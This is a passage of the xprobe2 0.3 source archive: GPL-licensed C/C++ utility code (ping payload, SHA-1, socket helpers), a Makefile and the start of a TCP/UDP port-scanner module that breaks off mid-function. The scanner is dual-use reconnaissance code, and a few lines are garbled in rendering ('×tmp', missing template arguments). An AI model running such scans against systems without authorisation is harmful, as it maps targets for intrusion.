of the GNU General Public License ** along with this program; if not, write to the Free Software ** Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ #include "xplib.h" /* copies len bytes of standart unix ICMP echo request payload */ int xp_get_ping_payload(char *dest, int len) { struct timeval tv; struct Timestamp timestmp; int tocopy, iii; if (len > 0 && dest != NULL) { if ((gettimeofday(&tv, NULL)) < 0) { perror ("xp_get_ping_payload: gettimeofday()"); return FAIL; } timestmp.sec = htonl(tv.tv_sec); timestmp.usec = htonl(tv.tv_usec); tocopy = (unsigned int)len > sizeof (timestmp) ? sizeof(timestmp): len; memcpy (dest, ×tmp, tocopy); dest += tocopy; tocopy = len - tocopy; iii = sizeof (timestmp); while (tocopy > 0) { *dest++ = iii; tocopy--; iii++; } } return OK; } xprobe2-0.3/src/xplib/xp_get_ping_payload.h000755 001751 000000 00000002153 10271643770 021270 0ustar00mederwheel000000 000000 /* ** Copyright (C) 2001, 2002 Meder Kydyraliev ** ** Copyright (C) 2001 Fyodor Yarochkin , ** Ofir Arkin ** ** This program is free software; you can redistribute it and/or modify ** it under the terms of the GNU General Public License as published by ** the Free Software Foundation; either version 2 of the License, or ** (at your option) any later version. ** ** ** This program is distributed in the hope that it will be useful, ** but WITHOUT ANY WARRANTY; without even the implied warranty of ** MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the ** GNU General Public License for more details. ** ** You should have received a copy of the GNU General Public License ** along with this program; if not, write to the Free Software ** Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ #ifndef XP_GET_PING_PAYLOAD_H #define XP_GET_PING_PAYLOAD_H #include "xplib.h" struct Timestamp { u_int sec; u_int usec; }; int xp_get_ping_payload(char *, int); #endif /* XP_GET_PING_PAYLOAD_H */ xprobe2-0.3/src/xplib/xp_get_random_data.cc000755 001751 000000 00000003417 10271643770 021235 0ustar00mederwheel000000 000000 /* ** Copyright (C) 2001, 2002 Meder Kydyraliev ** ** Copyright (C) 2001 Fyodor Yarochkin , ** Ofir Arkin ** ** This program is free software; you can redistribute it and/or modify ** it under the terms of the GNU General Public License as published by ** the Free Software Foundation; either version 2 of the License, or ** (at your option) any later version. ** ** ** This program is distributed in the hope that it will be useful, ** but WITHOUT ANY WARRANTY; without even the implied warranty of ** MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the ** GNU General Public License for more details. ** ** You should have received a copy of the GNU General Public License ** along with this program; if not, write to the Free Software ** Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ #include "xp_get_random_data.h" #define RAND_DEV "/dev/urandom" int xp_get_random_data(char *buf, int size) { struct stat fst; FILE *fd; int retval = FAIL; if (buf != NULL && stat(RAND_DEV, &fst) == 0) { if (fst.st_rdev & S_IFCHR) { if ((fd = fopen (RAND_DEV, "r")) == NULL){ perror("xp_get_random_data():fdopen"); return FAIL; } if ((buf=fgets(buf, size, fd)) == NULL) return FAIL; if ( (fclose (fd)) != 0) { perror("xp_get_random_data():fclose"); return FAIL; } retval = OK; } } return retval; } xprobe2-0.3/src/xplib/xp_get_random_data.h000755 001751 000000 00000002061 10271643770 021071 0ustar00mederwheel000000 000000 /* ** Copyright (C) 2001, 2002 Meder Kydyraliev ** ** Copyright (C) 2001 Fyodor Yarochkin , ** Ofir Arkin ** ** This program is free software; you can redistribute it and/or modify ** it under the terms of the GNU General Public License as published by ** the Free Software Foundation; either version 2 of the License, or ** (at your option) any later version. ** ** ** This program is distributed in the hope that it will be useful, ** but WITHOUT ANY WARRANTY; without even the implied warranty of ** MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the ** GNU General Public License for more details. ** ** You should have received a copy of the GNU General Public License ** along with this program; if not, write to the Free Software ** Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ #ifndef XP_GET_RANDOM_DATA_H #define XP_GET_RANDOM_DATA_H #include "xplib.h" int xp_get_random_data(char *, int); #endif /* XP_GET_RANDOM_DATA_H */ xprobe2-0.3/src/xplib/xp_get_src_addr.cc000755 001751 000000 00000003461 10271643770 020544 0ustar00mederwheel000000 000000 /* ** Copyright (C) 2001, 2002 Meder Kydyraliev ** ** Copyright (C) 2001 Fyodor Yarochkin , ** Ofir Arkin ** ** This program is free software; you can redistribute it and/or modify ** it under the terms of the GNU General Public License as published by ** the Free Software Foundation; either version 2 of the License, or ** (at your option) any later version. ** ** ** This program is distributed in the hope that it will be useful, ** but WITHOUT ANY WARRANTY; without even the implied warranty of ** MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the ** GNU General Public License for more details. ** ** You should have received a copy of the GNU General Public License ** along with this program; if not, write to the Free Software ** Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ #include "xplib.h" struct in_addr xp_get_src_addr(struct in_addr dst) { struct sockaddr_in src, remote; int sockfd; socklen_t socklen; remote.sin_family = AF_INET; remote.sin_port = htons(1234); remote.sin_addr.s_addr = dst.s_addr; src.sin_addr.s_addr = 0xffffffff; if ((sockfd = socket(AF_INET, SOCK_DGRAM, 0)) < 0) { perror("xp_get_src_addr():socket"); /* couldn't allocate socket, something is really fucked */ exit(1); } if ((connect(sockfd, (struct sockaddr *) &remote, sizeof(remote))) < 0) { perror("xp_get_src_addr():connect"); /* invalid ip address ? */ exit(1); } socklen = sizeof(src); if ((getsockname(sockfd, (struct sockaddr *) &src, &socklen)) < 0) { perror("xp_get_src_addr(): getsockname"); exit(1); } //KPC 1-17-05 - Close socket connection to address handle leak if (close(sockfd) < 0) { perror("xp_get_src_addr(): close"); exit(1); } return src.sin_addr; } xprobe2-0.3/src/xplib/xp_get_src_addr.h000755 001751 000000 00000002063 10271643770 020403 0ustar00mederwheel000000 000000 /* ** Copyright (C) 2001, 2002 Meder Kydyraliev ** ** Copyright (C) 2001 Fyodor Yarochkin , ** Ofir Arkin ** ** This program is free software; you can redistribute it and/or modify ** it under the terms of the GNU General Public License as published by ** the Free Software Foundation; either version 2 of the License, or ** (at your option) any later version. ** ** ** This program is distributed in the hope that it will be useful, ** but WITHOUT ANY WARRANTY; without even the implied warranty of ** MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the ** GNU General Public License for more details. ** ** You should have received a copy of the GNU General Public License ** along with this program; if not, write to the Free Software ** Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ #ifndef XP_GET_SRC_ADDR_H #define XP_GET_SRC_ADDR_H #include "xplib.h" struct in_addr xp_get_src_addr(struct in_addr); #endif /* XP_GET_SRC_ADDR_H */ xprobe2-0.3/src/xplib/xp_sha1.cc000755 001751 000000 00000012743 10271643770 016763 0ustar00mederwheel000000 000000 /* ** Copyright (C) 2003 Meder Kydyraliev ** Copyright (C) 2001 Fyodor Yarochkin , ** Ofir Arkin ** ** This program is free software; you can redistribute it and/or modify ** it under the terms of the GNU General Public License as published by ** the Free Software Foundation; either version 2 of the License, or ** (at your option) any later version. ** ** ** This program is distributed in the hope that it will be useful, ** but WITHOUT ANY WARRANTY; without even the implied warranty of ** MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the ** GNU General Public License for more details. ** ** You should have received a copy of the GNU General Public License ** along with this program; if not, write to the Free Software ** Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ /* $OpenBSD: sha1.c,v 1.10 2002/12/23 04:33:31 millert Exp $ */ /* * SHA-1 in C * By Steve Reid * 100% Public Domain * * Test Vectors (from FIPS PUB 180-1) * "abc" * A9993E36 4706816A BA3E2571 7850C26C 9CD0D89D * "abcdbcdecdefdefgefghfghighijhijkijkljklmklmnlmnomnopnopq" * 84983E44 1C3BD26E BAAE4AA1 F95129E5 E54670F1 * A million repetitions of "a" * 34AA973C D4C4DAA4 F61EEB2B DBAD2731 6534016F */ #define SHA1HANDSOFF /* Copies data before messing with it. */ #include "xp_sha1.h" /* * Hash a single 512-bit block. This is the core of the algorithm. */ void xp_SHA1::SHA1Transform(u_int32_t state[5], const u_char buffer[64]) { u_int32_t a, b, c, d, e; typedef union { u_char c[64]; u_int l[16]; } CHAR64LONG16; CHAR64LONG16 *block; #ifdef SHA1HANDSOFF static u_char workspace[64]; block = (CHAR64LONG16 *)workspace; (void)memcpy(block, buffer, 64); #else block = (CHAR64LONG16 *)buffer; #endif /* Copy context->state[] to working vars */ a = state[0]; b = state[1]; c = state[2]; d = state[3]; e = state[4]; /* 4 rounds of 20 operations each. Loop unrolled. */ R0(a,b,c,d,e, 0); R0(e,a,b,c,d, 1); R0(d,e,a,b,c, 2); R0(c,d,e,a,b, 3); R0(b,c,d,e,a, 4); R0(a,b,c,d,e, 5); R0(e,a,b,c,d, 6); R0(d,e,a,b,c, 7); R0(c,d,e,a,b, 8); R0(b,c,d,e,a, 9); R0(a,b,c,d,e,10); R0(e,a,b,c,d,11); R0(d,e,a,b,c,12); R0(c,d,e,a,b,13); R0(b,c,d,e,a,14); R0(a,b,c,d,e,15); R1(e,a,b,c,d,16); R1(d,e,a,b,c,17); R1(c,d,e,a,b,18); R1(b,c,d,e,a,19); R2(a,b,c,d,e,20); R2(e,a,b,c,d,21); R2(d,e,a,b,c,22); R2(c,d,e,a,b,23); R2(b,c,d,e,a,24); R2(a,b,c,d,e,25); R2(e,a,b,c,d,26); R2(d,e,a,b,c,27); R2(c,d,e,a,b,28); R2(b,c,d,e,a,29); R2(a,b,c,d,e,30); R2(e,a,b,c,d,31); R2(d,e,a,b,c,32); R2(c,d,e,a,b,33); R2(b,c,d,e,a,34); R2(a,b,c,d,e,35); R2(e,a,b,c,d,36); R2(d,e,a,b,c,37); R2(c,d,e,a,b,38); R2(b,c,d,e,a,39); R3(a,b,c,d,e,40); R3(e,a,b,c,d,41); R3(d,e,a,b,c,42); R3(c,d,e,a,b,43); R3(b,c,d,e,a,44); R3(a,b,c,d,e,45); R3(e,a,b,c,d,46); R3(d,e,a,b,c,47); R3(c,d,e,a,b,48); R3(b,c,d,e,a,49); R3(a,b,c,d,e,50); R3(e,a,b,c,d,51); R3(d,e,a,b,c,52); R3(c,d,e,a,b,53); R3(b,c,d,e,a,54); R3(a,b,c,d,e,55); R3(e,a,b,c,d,56); R3(d,e,a,b,c,57); R3(c,d,e,a,b,58); R3(b,c,d,e,a,59); R4(a,b,c,d,e,60); R4(e,a,b,c,d,61); R4(d,e,a,b,c,62); R4(c,d,e,a,b,63); R4(b,c,d,e,a,64); R4(a,b,c,d,e,65); R4(e,a,b,c,d,66); R4(d,e,a,b,c,67); R4(c,d,e,a,b,68); R4(b,c,d,e,a,69); R4(a,b,c,d,e,70); R4(e,a,b,c,d,71); R4(d,e,a,b,c,72); R4(c,d,e,a,b,73); R4(b,c,d,e,a,74); R4(a,b,c,d,e,75); R4(e,a,b,c,d,76); R4(d,e,a,b,c,77); R4(c,d,e,a,b,78); R4(b,c,d,e,a,79); /* Add the working vars back into context.state[] */ state[0] += a; state[1] += b; state[2] += c; state[3] += d; state[4] += e; /* Wipe variables */ a = b = c = d = e = 0; } /* * SHA1Init - Initialize new context */ void xp_SHA1::SHA1Init(SHA1_CTX *context) { /* SHA1 initialization constants */ context->state[0] = 0x67452301; context->state[1] = 0xEFCDAB89; context->state[2] = 0x98BADCFE; context->state[3] = 0x10325476; context->state[4] = 0xC3D2E1F0; context->count[0] = context->count[1] = 0; } /* * Run your data through this. */ void xp_SHA1::SHA1Update(SHA1_CTX *context, const u_char *data, u_int len) { u_int i, j; j = context->count[0]; if ((context->count[0] += len << 3) < j) context->count[1] += (len>>29)+1; j = (j >> 3) & 63; if ((j + len) > 63) { (void)memcpy(&context->buffer[j], data, (i = 64-j)); SHA1Transform(context->state, context->buffer); for ( ; i + 63 < len; i += 64) SHA1Transform(context->state, &data[i]); j = 0; } else { i = 0; } (void)memcpy(&context->buffer[j], &data[i], len - i); } /* * Add padding and return the message digest. */ void xp_SHA1::SHA1Final(u_char digest[20], SHA1_CTX *context) { u_int i; u_char finalcount[8]; for (i = 0; i < 8; i++) { finalcount[i] = (u_char)((context->count[(i >= 4 ? 0 : 1)] >> ((3-(i & 3)) * 8) ) & 255); /* Endian independent */ } SHA1Update(context, (const u_char *)"\200", 1); while ((context->count[0] & 504) != 448) SHA1Update(context, (const u_char *)"\0", 1); SHA1Update(context, finalcount, 8); /* Should cause a SHA1Transform() */ if (digest) { for (i = 0; i < 20; i++) digest[i] = (u_char) ((context->state[i>>2] >> ((3-(i & 3)) * 8) ) & 255); } } int xp_SHA1::get_digest(u_char digest[20], const u_char *data, u_int len) { SHA1_CTX cntxt; SHA1Init(&cntxt); SHA1Update(&cntxt, data, len); SHA1Final(digest, &cntxt); return 0; } xprobe2-0.3/src/xplib/xp_sha1.h000755 001751 000000 00000006762 10271643770 016631 0ustar00mederwheel000000 000000 /* ** ** Copyright (C) 2003 Meder Kydyraliev ** Copyright (C) 2001, 2002, 2003 Fyodor Yarochkin , ** Ofir Arkin ** ** This program is free software; you can redistribute it and/or modify ** it under the terms of the GNU General Public License as published by ** the Free Software Foundation; either version 2 of the License, or ** (at your option) any later version. ** ** ** This program is distributed in the hope that it will be useful, ** but WITHOUT ANY WARRANTY; without even the implied warranty of ** MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the ** GNU General Public License for more details. ** ** You should have received a copy of the GNU General Public License ** along with this program; if not, write to the Free Software ** Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ /* $OpenBSD: sha1.h,v 1.11 2002/12/23 04:33:31 millert Exp $ */ /* * SHA-1 in C * By Steve Reid * 100% Public Domain */ #ifndef SHA1_H #define SHA1_H #include "xplib.h" class xp_SHA1 { private: typedef struct { u_int32_t state[5]; u_int32_t count[2]; u_char buffer[64]; } SHA1_CTX; void SHA1Transform(u_int32_t state[5], const u_char buffer[64]); void SHA1Init(SHA1_CTX *context); void SHA1Update(SHA1_CTX *context, const u_char *data, u_int len); void SHA1Final(u_char digest[20], SHA1_CTX *context); char *SHA1End(SHA1_CTX *, char *); char *SHA1File(char *, char *); char *SHA1Data(const u_char *, size_t, char *); public: int get_digest(u_char digest[20], const u_char *data, u_int len); }; #define SHA1_DIGESTSIZE 20 #define SHA1_BLOCKSIZE 64 #define HTONDIGEST(x) do { \ x[0] = htonl(x[0]); \ x[1] = htonl(x[1]); \ x[2] = htonl(x[2]); \ x[3] = htonl(x[3]); \ x[4] = htonl(x[4]); } while (0) #define NTOHDIGEST(x) do { \ x[0] = ntohl(x[0]); \ x[1] = ntohl(x[1]); \ x[2] = ntohl(x[2]); \ x[3] = ntohl(x[3]); \ x[4] = ntohl(x[4]); } while (0) #define rol(value, bits) (((value) << (bits)) | ((value) >> (32 - (bits)))) /* * blk0() and blk() perform the initial expand. * I got the idea of expanding during the round function from SSLeay */ #if BYTE_ORDER == LITTLE_ENDIAN # define blk0(i) (block->l[i] = (rol(block->l[i],24)&0xFF00FF00) \ |(rol(block->l[i],8)&0x00FF00FF)) #else # define blk0(i) block->l[i] #endif #define blk(i) (block->l[i&15] = rol(block->l[(i+13)&15]^block->l[(i+8)&15] \ ^block->l[(i+2)&15]^block->l[i&15],1)) /* * (R0+R1), R2, R3, R4 are the different operations (rounds) used in SHA1 */ #define R0(v,w,x,y,z,i) z+=((w&(x^y))^y)+blk0(i)+0x5A827999+rol(v,5);w=rol(w,30); #define R1(v,w,x,y,z,i) z+=((w&(x^y))^y)+blk(i)+0x5A827999+rol(v,5);w=rol(w,30); #define R2(v,w,x,y,z,i) z+=(w^x^y)+blk(i)+0x6ED9EBA1+rol(v,5);w=rol(w,30); #define R3(v,w,x,y,z,i) z+=(((w|x)&y)|(w&x))+blk(i)+0x8F1BBCDC+rol(v,5);w=rol(w,30); #define R4(v,w,x,y,z,i) z+=(w^x^y)+blk(i)+0xCA62C1D6+rol(v,5);w=rol(w,30); #endif /* SHA1_H */ xprobe2-0.3/src/xplib/xp_lib.cc000644 001751 000000 00000011643 10271643770 016670 0ustar00mederwheel000000 000000 /* * ** * ** Copyright (C) 2001-2005 Fyodor Yarochkin , * ** Ofir Arkin * ** Meder Kydyraliev * ** * ** This program is free software; you can redistribute it and/or modify * ** it under the terms of the GNU General Public License as published by * ** the Free Software Foundation; either version 2 of the License, or * ** (at your option) any later version. * ** * ** * ** This program is distributed in the hope that it will be useful, * ** but WITHOUT ANY WARRANTY; without even the implied warranty of * ** MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * ** GNU General Public License for more details. * ** * ** You should have received a copy of the GNU General Public License * ** along with this program; if not, write to the Free Software * ** Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. * */ #include "xp_lib.h" int xp_lib::tokenize(const char *input, char delimiter, vector *tokens) { string str(input); string::size_type pos, lastpos; if (tokens == NULL) return FAIL; pos = str.find_first_of(delimiter); lastpos = str.find_first_not_of(delimiter, 0); /* tokenizer */ while (pos != string::npos && lastpos != string::npos) { tokens->push_back(str.substr(lastpos, pos - lastpos)); lastpos = str.find_first_not_of(delimiter, pos); pos = str.find_first_of(delimiter, lastpos); } if (pos == string::npos && lastpos != string::npos) { // handle the last token tokens->push_back(str.substr(lastpos, str.size()-lastpos+1)); } return OK; } int xp_lib::tokenize(const char *input, char delimiter, vector *tokens) { vector str_vector; unsigned int ix; if (tokens != NULL && tokenize(input, delimiter, &str_vector) == OK) { for (ix = 0; ix < str_vector.size(); ix++) { tokens->push_back(atoi(str_vector[ix].c_str())); } return OK; } return FAIL; } string xp_lib::int_to_string(int toconvert) { char buf[512]; string retval; memset(buf, 0, sizeof(buf)); snprintf(buf, sizeof(buf), "%d", toconvert); retval = buf; return retval; } bool xp_lib::equal(const char *str1, const char *str2) { return (strncasecmp(str1, str2, strlen(str1)) == 0); } bool xp_lib::equal(string str1, string str2) { return equal(str1.c_str(), str2.c_str()); } int xp_lib::OpenUDPSocket(struct sockaddr_in *to, struct sockaddr_in *bind_sin) { int sock; if ((sock = socket(AF_INET, SOCK_DGRAM, 0)) == -1) { return FAIL; } if (bind_sin != NULL) if (bind(sock, (struct sockaddr *)bind_sin, sizeof(struct sockaddr_in)) == -1) { return FAIL; } if (to != NULL) if (connect(sock, (struct sockaddr *) to, sizeof(struct sockaddr_in)) == -1) { return FAIL; } return sock; } /* * * ATTENTION: * Code below is modified version of the examples presented in the * 'Implementing CIFS' online book which is available at: * http://ubiqx.org/cifs/ * * Copyright (C) 1999-2003 by Christopher R. Hertel * * Date of changes: 20/06/2005 */ int xp_lib::OpenTCPSession( struct in_addr dst_IP, unsigned short dst_port ) { /* ---------------------------------------------------- ** * Open a TCP session with the specified server. * Return the connected socket. * ---------------------------------------------------- ** */ int sock; int result; struct sockaddr_in sock_addr; /* Create the socket. */ sock = socket( PF_INET, SOCK_STREAM, IPPROTO_TCP ); if( sock < 0 ) { printf( "Failed to create socket(); %s.\n", strerror( errno ) ); return(FAIL); } /* Connect the socket to the server at the other end. */ sock_addr.sin_addr = dst_IP; sock_addr.sin_family = AF_INET; sock_addr.sin_port = htons( dst_port ); result = connect( sock, (struct sockaddr *)&sock_addr, sizeof(struct sockaddr_in) ); if( result < 0 ) { printf( "Failed to create socket(); %s.\n", strerror( errno ) ); return(FAIL); } return( sock ); } int xp_lib::RecvTimeout( int sock, unsigned char *bufr, int bsize, int timeout ) { /* ---------------------------------------------------- ** * Attempt to receive a TCP packet within a specified * period of time. * ---------------------------------------------------- ** */ int result; fd_set rset; struct timeval tv; FD_ZERO(&rset); FD_SET(sock, &rset); tv.tv_usec=0; tv.tv_sec=timeout; result = select(sock+1, &rset, NULL, NULL, &tv); /* A result less than zero is an error. */ if( result < 0 ) { printf( "select() error: %s\n", strerror( errno ) ); return(FAIL); } /* A result of zero is a timeout. */ if( result == 0 ) return( 0 ); /* A result greater than zero means a message arrived, * so we attempt to read the message. */ result = recv( sock, bufr, bsize, 0 ); if( result < 0 ) { printf( "Recv() error: %s\n", strerror( errno ) ); return(FAIL); } /* Return the number of bytes received. * (Zero or more.) */ return( result ); } xprobe2-0.3/src/xplib/xp_lib.h000644 001751 000000 00000003055 10271643770 016530 0ustar00mederwheel000000 000000 /* * ** * ** Copyright (C) 2001-2005 Fyodor Yarochkin , * ** Ofir Arkin * ** Meder Kydyraliev * ** * ** This program is free software; you can redistribute it and/or modify * ** it under the terms of the GNU General Public License as published by * ** the Free Software Foundation; either version 2 of the License, or * ** (at your option) any later version. * ** * ** * ** This program is distributed in the hope that it will be useful, * ** but WITHOUT ANY WARRANTY; without even the implied warranty of * ** MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * ** GNU General Public License for more details. * ** * ** You should have received a copy of the GNU General Public License * ** along with this program; if not, write to the Free Software * ** Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. * */ #ifndef _XP_LIB_H #define _XP_LIB_H #include "xplib.h" using namespace std; class xp_lib { public: static int tokenize(const char *, char, vector *); static int tokenize(const char *, char, vector *); static string int_to_string(int); static int OpenTCPSession( struct in_addr dst_IP, unsigned short dst_port ); static int RecvTimeout( int sock, unsigned char *bufr, int bsize, int timeout ); static bool equal(const char *, const char *); static bool equal(string, string); static int OpenUDPSocket(struct sockaddr_in *to, struct sockaddr_in *bind_sin=NULL); }; #endif xprobe2-0.3/src/xpmodules000755 001751 000000 00000000000 10271644025 015714 5ustar00mederwheel000000 000000 xprobe2-0.3/src/xpmodules/alive_probe000755 001751 000000 00000000000 10271644025 020203 5ustar00mederwheel000000 000000 xprobe2-0.3/src/xpmodules/alive_probe/portscanner000755 001751 000000 00000000000 10271644025 022541 5ustar00mederwheel000000 000000 xprobe2-0.3/src/xpmodules/alive_probe/portscanner/Makefile.in000755 001751 000000 00000003127 10271643770 024701 0ustar00mederwheel000000 000000 # $Id: Makefile.in,v 1.2 2004/06/09 12:08:24 mederchik Exp $ # # Copyright (C) 2003 Meder Kydyraliev # Copyright (C) 2001 Fyodor Yarochkin , # # This program is free software; you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation; either version 2 of the License, or # (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with this program; if not, write to the Free Software # Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. CC=@CC@ CXX=@CXX@ INSTALL=@INSTALL@ INSTALL_PROGRAM=@INSTALL_PROGRAM@ INSTALL_DATA=@INSTALL_DATA@ RANLIB=@RANLIB@ DESTDIR= prefix=@prefix@ exec_prefix=@exec_prefix@ bindir=@bindir@ mandir=@mandir@ PACKAGE=@PACKAGE@ VERSION=@VERSION@ CPPFLAGS=@CPPFLAGS@ CFLAGS=@CFLAGS@ @CPPFLAGS@ -I. -I.. -I../../../ -I ../../../xplib -I ../../../../libs-external/USI++ LDFLAGS=@LDFLAGS@ -L../../xplib SOLDFLAGS=@SOLDFLAGS@ LIBS=@LIBS@ -lxplib DYNFLAGS=@DYNFLAGS@ XPLIB=../../xplib/libxplib.a INCLUDES= CXXSOURCES=portscanner.cc OBJS=${CXXSOURCES:.cc=.o} ${CSOURCES:.c=.o} all: portscanner_mod portscanner_mod: $(OBJS) .c.o: $(INCLUDES) $(CC) -c $(CFLAGS) $< .cc.o: $(INCLUDES) $(CXX) -c ${CFLAGS} $< clean: rm -f core *.o *.so distclean: clean rm -f Makefile xprobe2-0.3/src/xpmodules/alive_probe/portscanner/portscanner.cc000644 001751 000000 00000047344 10271643770 025507 0ustar00mederwheel000000 000000 /* $Id: portscanner.cc,v 1.9 2005/02/14 18:05:17 mederchik Exp $ */ /* ** Copyright (C) 2003 Meder Kydyraliev ** Copyright (C) 2001 Fyodor Yarochkin , ** Ofir Arkin ** ** This program is free software; you can redistribute it and/or modify ** it under the terms of the GNU General Public License as published by ** the Free Software Foundation; either version 2 of the License, or ** (at your option) any later version. ** ** ** This program is distributed in the hope that it will be useful, ** but WITHOUT ANY WARRANTY; without even the implied warranty of ** MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the ** GNU General Public License for more details. ** ** You should have received a copy of the GNU General Public License ** along with this program; if not, write to the Free Software ** Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ #include "xprobe.h" #define _XPROBE_MODULE #include "xplib.h" #include "xprobe_module_hdlr.h" #include "target.h" #include "interface.h" #include "cmd_opts.h" #include "portscanner.h" #include "usi++/usi++.h" #include "log.h" #include extern Interface *ui; extern Cmd_Opts *copts; extern XML_Log *xml; int done_sending=0; void child_handler (int signum) { while(wait(NULL) > 0); signum++; //suspend warn done_sending = 1; } int Portscanner::init(void) { xprobe_debug(XPROBE_DEBUG_MODULES, "%s module initialized\n", get_name()); return OK; } int Portscanner::exec(Target *tg, OS_Matrix *os) { pid_t childpid; unsigned int k; u_short j; u_char tcp_ignore_state, udp_ignore_state; map::iterator m_i; struct servent *serv; struct timeval start, end; struct sigaction act, oact; os = os; /* suspend warning */ xprobe_debug(XPROBE_DEBUG_MODULES, "--%s module has been executed against: %s\n", get_name(), inet_ntoa(tg->get_addr())); // signal(SIGCHLD, child_handler); act.sa_handler= child_handler; act.sa_flags = 0; sigemptyset(&act.sa_mask); if (sigaction(SIGCHLD, &act, &oact)) { ui->error("Portscanner::sigaction failed!\n"); return FAIL; } tcpport = *(tg->get_tcp_toscan()); udpport = *(tg->get_udp_toscan()); if (tcpport.size() == 0 && udpport.size() == 0) { return FAIL; } for (k=0; k < tcpport.size(); k++) tcpportnum += tcpport[k].size(); for (k=0; k < udpport.size(); k++) udpportnum += udpport[k].size(); if ((gettimeofday(&start, NULL))<0) { ui->msg("Portscanner::exec gettimeofday failed\n"); return FAIL; } /* flush before fork()ing */ xml->flush(); if ((childpid = fork()) < 0) { // error ui->msg("[%s] fork() failed: %s\n", get_name(), strerror(errno)); return FAIL; } else if (childpid) { // parent receive_packets(tg); } else { // child send_packets(tg); xprobe_mdebug(XPROBE_DEBUG_MODULES, "BUG!! send_packets returned!\n"); /* UNEARCH: child never returns */ } // everyone meets here if ((gettimeofday(&end, NULL)) < 0) { ui->msg("Portscanner::exec gettimeofday failed\n"); return FAIL; } // 1st thing to do is to see what ports where filtered for (k=0; k < tcpport.size(); k++) while(!tcpport[k].get_next(&j)) if (tcp_ports.find(j) == tcp_ports.end()){ tcpfiltered++; tcp_ports.insert(pair(j, XPROBE_TARGETP_FILTERED)); } tcp_ignore_state = get_ignore_state(IPPROTO_TCP); if ((tcpopen && !tcpclosed && !tcpfiltered) || (!tcpopen && tcpclosed && !tcpfiltered) || (!tcpopen && !tcpclosed && tcpfiltered)) { tcp_ignore_state = 255; //lame :) } for (k=0; k < udpport.size(); k++) while(!udpport[k].get_next(&j)) if (udp_ports.find(j) == udp_ports.end()){ udpfiltered++; udp_ports.insert(pair(j, XPROBE_TARGETP_FILTERED)); } xml->log(XPROBELOG_PS_SESS_START, "%d", ((end.tv_sec - start.tv_sec) * 1000 + (end.tv_usec - start.tv_usec)/1000)/1000.0); xml->log(XPROBELOG_STATS_SESS_START, "pscan stats"); ui->msg("\n[+] Portscan results for %s:\n", inet_ntoa(tg->get_addr())); ui->msg("[+] Stats:\n"); ui->msg("[+] TCP: %d - open, %d - closed, %d - filtered\n", tcpopen, tcpclosed, tcpfiltered); xml->log(XPROBELOG_MSG_PS_TCPST, "%o%c%f", tcpopen, tcpclosed, tcpfiltered); ui->msg("[+] UDP: %d - open, %d - closed, %d - filtered\n", udpopen, udpclosed, udpfiltered); xml->log(XPROBELOG_MSG_PS_UDPST, "%o%c%f", udpopen, udpclosed, udpfiltered); xml->log(XPROBELOG_STATS_SESS_END, "stats done"); ui->msg("[+] Portscan took %.2f seconds.\n", // convert seconds into milliseconds ((end.tv_sec - start.tv_sec) * 1000 + (end.tv_usec - start.tv_usec)/1000)/1000.0); ui->msg("[+] Details:\n"); xml->log(XPROBELOG_PSDET_SESS_START, "details"); ui->msg("[+] Proto\tPort Num.\tState\t\tServ. Name\n"); /* TCP */ for (m_i = tcp_ports.begin(); m_i != tcp_ports.end(); m_i++) { if (m_i->second == tcp_ignore_state) continue; ui->msg("[+] TCP\t%d\t\t", m_i->first); if (m_i->second == XPROBE_TARGETP_OPEN) ui->msg("open\t"); else if (m_i->second == XPROBE_TARGETP_CLOSED) ui->msg("closed\t"); else if (m_i->second ==XPROBE_TARGETP_FILTERED) ui->msg("filtered"); ui->msg("\t"); if ((serv=getservbyport(htons(m_i->first), "tcp")) != NULL) if(serv->s_name != NULL) { ui->msg("%-s\t", serv->s_name); } else { ui->msg("%-s\t", "N/A"); } else ui->msg("N/A\t"); ui->msg("\n"); xml->log(XPROBELOG_MSG_PORT, "%n%p%t%s", m_i->first, IPPROTO_TCP, m_i->second, (serv != NULL && serv->s_name != NULL) ? serv->s_name: "N/A"); } udp_ignore_state = get_ignore_state(IPPROTO_UDP); if ((udpopen && !udpclosed && !udpfiltered) || (!udpopen && udpclosed && !udpfiltered) || (!udpopen && !udpclosed && udpfiltered)) { udp_ignore_state = 255; //lame :) } /* UDP */ for (m_i = udp_ports.begin(); m_i != udp_ports.end(); m_i++) { if (m_i->second == udp_ignore_state) continue; ui->msg("[+] UDP\t%d\t\t", m_i->first); if (m_i->second == XPROBE_TARGETP_OPEN) ui->msg("open\t"); else if (m_i->second == XPROBE_TARGETP_CLOSED) ui->msg("closed\t"); else if (m_i->second ==XPROBE_TARGETP_FILTERED) ui->msg("filtered/open"); ui->msg("\t"); if ((serv=getservbyport(htons(m_i->first), "udp")) != NULL) if(serv->s_name != NULL) { ui->msg("%-s\t", serv->s_name); } else { 